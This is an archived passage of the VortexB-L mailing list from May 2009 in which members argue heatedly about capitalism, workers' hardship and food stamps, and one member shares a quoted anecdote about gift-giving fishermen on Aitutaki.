vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 443 --001636c5a57b13d93a046ad9dee8 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable If it doesn't stray too far from the cost of production, then capitalists are barely extracting a surplus. On Tue, May 26, 2009 at 8:11 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Final money price is quite obviously whatever the buyer will pay. > > Which -- guess what? -- doesn't vary too far from its actual [social] cos= t > of > production. Which, of course, under capitalism, is a bit of a moving > target... > Assuming any number of things, as well. > > And so what do you think you are proving by saying this. > > > - -- grok. > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkochRYACgkQXo3EtEYbt3EYDQCgprIX9UeFXXL51pQPPZAOBkf9 > E00AoJm+wZvsx016a9MHXsDEd9e8Dgo+ > =3DxlJW > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a57b13d93a046ad9dee8 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable If it doesn't stray too far from the cost of production, then capitalis= ts are barely extracting a surplus.


O= n Tue, May 26, 2009 at 8:11 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Final money price is quite obviously whatever = the buyer will pay.

Which -- guess what? -- doesn't vary too far from its actual [soc= ial] cost of
production. Which, of course, under capitalism, is a bit of a moving target= ...
Assuming any number of things, as well.

And so what do you think you are proving by saying this.


- -- grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a57b13d93a046ad9dee8-- From vortexb-l-request@eskimo.com Tue May 26 17:26:16 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4R0QEuH015925; Tue, 26 May 2009 17:26:14 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4R0QDad015918; Tue, 26 May 2009 17:26:13 -0700 Resent-Date: Tue, 26 May 2009 17:26:13 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=RZtVmCnszkKoNbIqc7dHlRMymOX3jC2xq4BPoXKnh+0=; b=szCww4Z2sDQojPm2kLE8NIt7L55nGkJf82Tjl1CciuvgO8fDbFc/l2xKHQJUQrXXrV jqtBLguaOuC/ZwvtLoE1gxRLquAQ/hQN5U9xVFA8JHw6NXKXjtWtF9FDF9QoQlLSy5MF 4LlA8oVX6UPwcgYj1o4kvnBQtV76QT4rCkW3M= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=avu11Tj44bnVeFRiqgIfbE6mVeB22m+82lHd8rEZPd43AgG3WH6Xhl2eF6aayU5PDW bGXszG58w+wMNCWNaNcEwLEjoDcXmnEDh9+V0/gSCZY9iWbK0t94LdzP1yH5XVhpYCVm 5IZmWz6XurbkVlYXRAI4T/KYNiEKp57LeQZ4E= MIME-Version: 1.0 In-Reply-To: <20090526234055.GK2707@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 20:25:51 -0400 Message-ID: <63ffa6020905261725q49b7677aj38f015d029357474@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b352ebe37d046ad9e364 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4202 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 444 --001636c5b352ebe37d046ad9e364 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So 10 or 20 years ago, were you complaining about the plight of workers, or was everything hunky dory? On Tue, May 26, 2009 at 7:40 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Right, because most workers in the advanced capitalist countries are > > practically starving. > > Some actually ARE, for the first time. Some have been for a while. I > suppose a > philistine like yourself wants incontrovertible proof of that, or > something. Not > like you'd ever go find it for yourself: it's too easy to continue to > believe the > sweet, flattering lies instead. > > I understand food stamp use in the U.S. is at all-time record highs -- bo= th > in > absolute and in relative terms. > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b352ebe37d046ad9e364 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So 10 or 20 years ago, were you complaining about the plight of workers, or= was everything hunky dory?


On Tue, M= ay 26, 2009 at 7:40 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Right, because most workers in the advanced ca= pitalist countries are
> practically starving.

Some actually ARE, for the first time. Some have been for a while. I = suppose a
philistine like yourself wants incontrovertible proof of that, or something= . Not
like you'd ever go find it for yourself: it's too easy to continue = to believe the
sweet, flattering lies instead.

I understand food stamp use in the U.S. is at all-time record highs -- both= in
absolute and in relative terms.



--
Never did I see a second sun
Never did my skin touch a land = of glass
Never did my rifle point but true
But in a land empty of ene= mies
Waiting for the tick-tick-tick of the want
A uranium angel
Crying =93= behold,=94
This land that knew fire is yours
Taken from CorruptionTo begin anew
--001636c5b352ebe37d046ad9e364-- From vortexb-l-request@eskimo.com Tue May 26 17:39:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4R0dTE9002240; Tue, 26 May 2009 17:39:29 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4R0dSq0002232; Tue, 26 May 2009 17:39:28 -0700 Resent-Date: Tue, 26 May 2009 17:39:28 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 17:39:18 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090527003918.GM2707@shell.resist.ca> Reply-To: grok@resist.ca References: <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <63ffa6020905261725q49b7677aj38f015d029357474@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261725q49b7677aj38f015d029357474@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4203 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 445 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > So 10 or 20 years ago, were you complaining about the plight of workers, or > was everything hunky dory? You've been asleep from the neck-on-up all that time. Pulling teeth with you over what should be simple facts is not fun. At all. I wonder what you would say if I cornered you, even on your own terms, here... - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoci7YACgkQXo3EtEYbt3Ei6gCgyXjilJv+c3cHrhdxvzGWsflu 7WkAoLXvaKhnOWaDM31IghphfpJR7TIA =QnA/ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 17:40:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4R0ehpJ002850; Tue, 26 May 2009 17:40:43 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4R0ehQ1002834; Tue, 26 May 2009 17:40:43 -0700 Resent-Date: Tue, 26 May 2009 17:40:43 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: qgpWY5MVM1mAaql2HI9b1.d1QrYNoVKy_egazetzTREqHHXGz46R2np.0YaPjD3UVhfdmodEB5LBMAv3dJH8YVHV1xqOYaRSRQ5RFoP79UrnaDe5JXf1P6AfhYpmv4V5ZLuYOc3qiJtC1fSlhxi0nuqtM1l2XSPrCDMYZVfwmptuW7aph37F9bpbCRVOhW64oWN56bTdLNvVkZ8IWwH8BRw__VJyq4WTst.5hrx2Jdm.WWk1FvUXdEQLLy6fvOjiXDMJ9gxRgKmHCSV_Q6NO3KpPSvtRveT8JM9ZRC7UlNNcttwmhjzW3Jzv.iEi9BLUW4Fo_X3f1akDi4n.hw-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: OrionWorks , vortexb-l@eskimo.com Subject: Re: [VoB]:Re: kritikal kritik - Formally Re: Mylow Outted Date: Tue, 26 May 2009 19:40:36 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090525223502.GE5417@shell.resist.ca> In-Reply-To: <20090525223502.GE5417@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4204 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 446 On Mon, 25 May 2009 15:35:02 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, OrionWorks >mounted the barricade and roared out: > >> > Gee... more politikal talk on vortex-l... >> > I say we ban the lot of them. >>=20 >> Over the years it's been my experience that many subjects have been >> discussed on Vortex-l. This includes, as you well know, politics and >> religion. While certain purists might occasionally grumble and >> complain that not enough pure science is being discussed, it has never >> risen to the point that serious factions have risen among the ranks >> threatening to destroy the cohesiveness of the group. It's also been >> my experience that Mr. Beaty, the Vortex-l list keeper, is a >> benevolent dictator of sorts. He really has to be motivated before >> banning someone from the Vortex-l sandbox, or places the offending >> party on probation. --- >The point you're making here, in not-so-many-words, is an ad hominem = one, Steve. --- That's not true and it's just another example of your ingenuosityness in using them there Latin logic words to make it seem like your position is tenable when it isn't even sixable. --- >You're not really learning here (because, of course, you feel that you = don't HAVE >to).=20 --- =46rom you, what's to learn? Hatred, trickery, deception? Sounds to me like you want to be a politician but haven't quite figured out how to go about it. --- >My main point here (again) is that YOU people chose to escalate this, = past my >simple statements of disagreement with what is assumed about Life by = apparently most >people on vortex-l. --- The problem with the truth of that statement is that originally, you made disparaging remarks on vortex-l (which are considered to be in bad taste on vortex-l) and, when you were apprised of that fact, recklessly continued your propaganda campaign until you were shut down, and properly so in my view, by Mr. Beaty. Interestingly enough, Mr. Beaty apprised you of the fact that vortexb-l was available, at no cost to you, for your ranting pleasure and, it seems, you've been taking advantage of that capitalistic outlet for free speech ever since.=20 --- >I went along with the escalation, of course, because I have no >vested interest in maintaining any politikal status quo in the U.S. or = elsewhere. --- You're a liar. You didn't go along with, you fueled the escalation with the intention of being considered a political savant. --- >The real point is: most of you are still denying the validity of what I = say, let >alone how I go about saying it.=20 --- I could be wrong but, most of us, I think, know why what you're saying is wrong and nearly all of us fault your delivery. --- >And so again: this is really very much all about the >widespread denial in U.S., and generally in petit-bourgeois society, of = the serious >- -- and AFAIC terminal -- nature of the crisis now descending upon = capitalist class >society. Just because you people can still export your problems onto = other peoples' >heads for now, doesn't obviate that analysis one little bit. --- Nonsense.=20 The crisis descending on _all_ societies is the availability of arable resources VS population. The US exports, for free, and with no strings attached, millions of tons of food, annually, to impoverished people but, unfortunately, the food often falls into the hands of those would destroy the US and thus destroy the source of food which allows them (as opposed those who they have condemned to death by starvation) to survive. Idiocy which even you, I contend, would agree with. --- > > > > >> I was struck by something in your concluding remarks - in response to >> something I said: >>=20 >> >> If I've learned anything so far it would seem that life >> >> is telling me it would be wise to verify or disprove one's >> >> fantasies as quickly as possible. >>=20 >> > And that is a principle I myself operatre under: in fact, >> > I am my own most kritikal kritik. Believe that or not! >> > ;P >>=20 >> I most certainly DO believe that you are your own worst "kritikal = kritik". >>=20 >> Takes one to know one. ;-) >>=20 >> Perhaps you should occasionally give yourself a break. > >This here is just another not-so-veiled ad hominem, Steve. I suggest you= wean >yourself from such usage. Not that we don't all occassionally backslide. > >Again: the problem is with the widespread denial in U.S./bourgeois = society -- as >evinced by this eList of purported free thinkers and explorers for the = Turth. >=20 > > > > >> In my own experience I have found that it is often not so easy to >> extend "a break" to oneself. Nevertheless, it is worth the effort. >>=20 >> Regards >> Steven Vincent Johnson >> www.OrionWorks.com >> www.zazzle.com/orionworks > >You really shouldn't project your own circumstances onto the Great = Unknown, Steve. >It usually doesn't map, eh? > > >- -- grok. JF =20 From vortexb-l-request@eskimo.com Tue May 26 18:02:32 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4R12Uh9015329; Tue, 26 May 2009 18:02:30 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4R12QPc015300; Tue, 26 May 2009 18:02:26 -0700 Resent-Date: Tue, 26 May 2009 18:02:26 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: Zr0Y1SoVM1mkNlLSAvJssu5QTQNNK6sKRbhXnq0Wg6nV5v.OpX3hdBiI74ASu6xXRW8VG30IcTI6uj9BbIJEg6GLpOnwjE63jbGkQygy9GzzzEzPJdCk9rvO7XYxoxjaynvQ9DqfnhCSBAv2Zm62bNc2LZPVQOC7k72aIYMQ2F3.hbRkaq1n1ELlvn0Er2r_lpsaZ.JgbvE9EIaLh2.qchlfBAdkbbqVb8xzge7GEWEUpLtA9P3y0l0SPXyMEQ9Gt4A0gC4J.5lvjbRu8hB.unbqm8k7IQLHOXWPXNJsfFSfZVTmjY2fo6TkORfqLIMDCI6nTZSNCcF6lhjudg-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Tue, 26 May 2009 20:02:21 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <63ffa6020905261545y16af421fu29b04ea186e89d27@mail.gmail.com> <20090526231149.GD2707@shell.resist.ca> In-Reply-To: <20090526231149.GD2707@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <8Xjv.A.-uD.iEJHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4205 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 447 On Tue, 26 May 2009 16:11:49 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> Somehow, Jeff, in Marxism none of that hard work counts as labor. > >Somehow, Chuckie, the petit-bourgeoisie is full of eternal delusions as = to the true >nature of Reality. --- And you've eschewed it out, on your end, how? JF =20 From vortexb-l-request@eskimo.com Tue May 26 21:51:16 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4R4pF7E026674; Tue, 26 May 2009 21:51:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4R4pDB0026662; Tue, 26 May 2009 21:51:13 -0700 Resent-Date: Tue, 26 May 2009 21:51:13 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 21:51:07 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090527045107.GB21543@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: B-81, Command and Control, M-50, 64N6, Granit User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4206 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Human Nature and fish Status: O X-Status: X-Keywords: X-UID: 448 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Stumbled across this gem tonite: "Sure," he said, "I'm never happy away from the sound of the surf on the reef and the swish of the cocoanuts. I was fourteen years in the British army in England when I made up my mind to quit civilization. I put it to the missus, a London woman, and she was for it. I've had nearly ten years now in the Cook group. D'ye know, I've learned one thing -- that money means very little in life. Why, in Aitutaki you can't sell fish. The law forbids it, but do you suppose people don't fish on that account? Why, a man goes out in his canoe and fishes like mad. He brings in his canoe, and as he approaches the beach he's blowing his pu, the conch-shell, to let people know he has fish. Fish to sell or to barter? Not at all. He wants the honor of giving them away. Now, if he makes a big catch, do you see, he has renown. People say, 'There's Taiere, who caught all those fish yesterday.' That's worth more to him than money. But if he could sell those fish, if there was competition, only the small-minded, the business souls, would fish. I'm not a socialist, but Aitutaki shows that, released from the gain, man will serve his fellows for their plaudits. And, mind you, no person took more fish than he needed. There was no greed." Well, what do you know about that. _From: MYSTIC ISLES OF THE SOUTH SEAS: - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocxrsACgkQXo3EtEYbt3HAVQCgkDKt59JsiCJ1l1awaUF8jpZR vNkAoNm6h8dtXCH5DyFjKi8Suv9P7CUU =itFr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 05:33:42 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RCXekA002469; Wed, 27 May 2009 05:33:40 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RCXdMn002458; Wed, 27 May 2009 05:33:39 -0700 Resent-Date: Wed, 27 May 2009 05:33:39 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: Df2m7.0VM1kphW7yK88e.8UNxcdLquH3tq1HlQopcbkWfkkadTTnXLMfD7RqCuC0p5BjTko.6wQfJJHShovGbYSF8DOz5Z9vho5a63HbyZMYBMMPkEaNCjKgkQLEFs77MOL3xTteWBzNs_h41oI3YMA4x1EpbgmZ1mD6JE3TKC2dd.x6rOsMuY49o4oSNTgKSfTiLUtnjeLok5MXMITr0bSIfJGesnl5ASjMg6CgMqndYqFS_ai7xgKafuFDSikOEAu6uMTqTKg4ahKH3ugFsZARrYHj.Tk- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Wed, 27 May 2009 07:33:24 -0500 Organization: Austin Instruments. Inc. Message-ID: <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> References: <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> In-Reply-To: <20090526234055.GK2707@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4207 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 449 On Tue, 26 May 2009 16:40:55 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> Right, because most workers in the advanced capitalist countries are >> practically starving. > >Some actually ARE, for the first time. Some have been for a while. I = suppose a >philistine like yourself wants incontrovertible proof of that, or = something. Not >like you'd ever go find it for yourself: it's too easy to continue to = believe the >sweet, flattering lies instead. > >I understand food stamp use in the U.S. is at all-time record highs -- = both in >absolute and in relative terms. --- Cite? JF =20 From vortexb-l-request@eskimo.com Wed May 27 06:25:13 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RDPBo2001247; Wed, 27 May 2009 06:25:11 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RDP7fM000996; Wed, 27 May 2009 06:25:07 -0700 Resent-Date: Wed, 27 May 2009 06:25:07 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> Subject: RE: [VoB]:Re: This is VortexB-L... Date: Wed, 27 May 2009 09:24:56 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: Acnex4SFmWW87CqcSDC60sLsxShy3AABuAEg In-Reply-To: <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4208 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 450 The government advertizes, encouraging people to get food stamps! Jeff -----Original Message----- From: John Fields [mailto:jfields@austininstruments.com] Sent: Wednesday, May 27, 2009 8:33 AM To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... On Tue, 26 May 2009 16:40:55 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> Right, because most workers in the advanced capitalist countries are >> practically starving. > >Some actually ARE, for the first time. Some have been for a while. I suppose a >philistine like yourself wants incontrovertible proof of that, or something. Not >like you'd ever go find it for yourself: it's too easy to continue to believe the >sweet, flattering lies instead. > >I understand food stamp use in the U.S. is at all-time record highs -- both in >absolute and in relative terms. --- Cite? JF From vortexb-l-request@eskimo.com Wed May 27 06:48:20 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RDmEDV016404; Wed, 27 May 2009 06:48:14 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RDmEJm016389; Wed, 27 May 2009 06:48:14 -0700 Resent-Date: Wed, 27 May 2009 06:48:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: Subject: FW: [VoB]:Human Nature and fish Date: Wed, 27 May 2009 09:48:11 -0400 Message-ID: <89CB90F8232D4199ABD5F957A2CD2304@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnehujUnSxigFMkSXCMlgYijlzPBwAPX4QgAANVrLA= Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4209 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 451 -----Original Message----- From: Jeff Fink [mailto:revtec@ptd.net] Sent: Wednesday, May 27, 2009 8:19 AM To: 'grok@resist.ca' Subject: RE: [VoB]:Human Nature and fish We all covet the accolades of our fellow man whether we admit it or not. In addition, this fellow probably gets invited to dinner somewhere every day. So, he circumvents the law and still gets almost everything he wants out of fishing. Jeff -----Original Message----- From: grok [mailto:grok@resist.ca] Sent: Wednesday, May 27, 2009 12:51 AM To: vortexb-l@eskimo.com Subject: [VoB]:Human Nature and fish -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Stumbled across this gem tonite: "Sure," he said, "I'm never happy away from the sound of the surf on the reef and the swish of the cocoanuts. I was fourteen years in the British army in England when I made up my mind to 